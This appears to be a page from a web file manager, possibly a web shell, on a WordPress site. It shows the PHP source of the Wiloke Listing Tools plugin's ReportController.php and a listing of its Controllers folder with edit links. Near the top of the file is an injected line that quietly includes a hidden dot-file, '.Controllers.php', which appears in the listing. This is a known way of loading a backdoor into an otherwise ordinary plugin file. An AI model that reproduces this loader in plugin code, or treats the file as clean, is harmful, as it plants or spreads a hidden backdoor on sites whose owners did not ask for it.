PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Controllers\Retrieve\RestRetrieve; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\ReportModel; use WilokeListingTools\Framework\Helpers\Validation as ValidationHelper; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ReportController extends Controller { public function __construct() { // add_action('wp_ajax_wilcity_fetch_report_fields', array($this, 'fetchReportFields')); // add_action('wp_ajax_nopriv_wilcity_fetch_report_fields', array($this, 'fetchReportFields')); add_action('wp_ajax_wilcity_submit_report', [$this, 'submitReport']); add_action('wp_ajax_nopriv_wilcity_submit_report', [$this, 'submitReport']); add_action('rest_api_init', function () { register_rest_route(WILOKE_PREFIX.'/v2', '/listings/fields/reports', [ 'methods' => 'GET', 'callback' => [$this, 'getReportFields'] ]); }); } public function submitReport($isApp = false) { if ($isApp) { $oChildRetrieve = new RestRetrieve(); } else { $oChildRetrieve = new AjaxRetrieve(); } $oRetrieve = new RetrieveController($oChildRetrieve); $this->middleware(['isPublishedPost'], [ 'postID' => $_POST['postID'], 'isApp' => $isApp ? 'yes' : 'no' ]); if (empty($_POST['data'])) { return $oRetrieve->error([ 'msg' => esc_html__('Please give us your reason', 'wiloke-listing-tools') ]); } if (is_array($_POST['data'])) { $aData = $_POST['data']; } else { if (!ValidationHelper::isValidJson($_POST['data'])) { return $oRetrieve->error([ 'msg' => esc_html__('Invalid json format', 'wiloke-listing-tools') ]); } $aData = ValidationHelper::getJsonDecoded(); } ReportModel::addReport(['postID' => $_POST['postID'], 'data' => $aData]); $aResponse = [ 'msg' => GetSettings::getOptions('report_thankyou') ]; return $oRetrieve->success($aResponse); } public static function isAllowReport() { $toggle = GetSettings::getOptions('toggle_report'); if (empty($toggle) || $toggle == 'disable') { return false; } return true; } public function getReportFields(\WP_REST_Request $oRequest) { $isWeb = $oRequest->get_param('isWeb'); if ($isWeb) { $oRetrieve = new RetrieveController(new AjaxRetrieve()); } $msg = esc_html__('Oops! You do not have permission to access this area.', 'wiloke-listing-tools'); if (!self::isAllowReport()) { if ($isWeb) { $oRetrieve->error(['msg' => $msg]); } else { return [ 'error' => [ 'userMessage' => $msg, 'code' => 404 ] ]; } } $aRawFields = GetSettings::getOptions('report_fields'); if (empty($aRawFields)) { $oRetrieve->error([ 'msg' => esc_html__('There are no report fields. Please go to Wiloke Listing Tools -> Reports to create one.', 'wiloke-listing-tools') ]); } $aFields = []; foreach ($aRawFields as $key => $aField) { switch ($aField['type']) { case 'text': case 'textarea': $aFields[$key]['key'] = $aField['key']; $aFields[$key]['label'] = $aField['label']; $aFields[$key]['type'] = $aField['type']; break; case 'select': $aFields[$key]['type'] = $aField['type']; if (empty($aField['options'])) { break; } if ($oRequest->get_param('isWeb')) { $parseOptions = General::parseSelectFieldOptions($aField['options'], 'wil-select-tree'); $aFields[$key]['key'] = $aField['key']; $aFields[$key]['label'] = $aField['label']; $aFields[$key]['options'] = array_merge( [ 'id' => '', 'label' => '----' ], $parseOptions ); } else { $parseOptions = explode(',', $aField['options']); $aFields[$key]['key'] = $aField['key']; $aFields[$key]['label'] = $aField['label']; $aFields[$key]['options'][] = '---'; foreach ($parseOptions as $option) { $aParsedOption = General::parseCustomSelectOption($option); $aFields[$key]['options'][$aParsedOption['key']] = trim($aParsedOption['name']); } } break; } } if ($isWeb) { $oRetrieve->success([ 'fields' => $aFields, 'description' => GetSettings::getOptions('report_description') ]); } return [ 'data' => [ 'fields' => $aFields, 'description' => GetSettings::getOptions('report_description') ] ]; } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]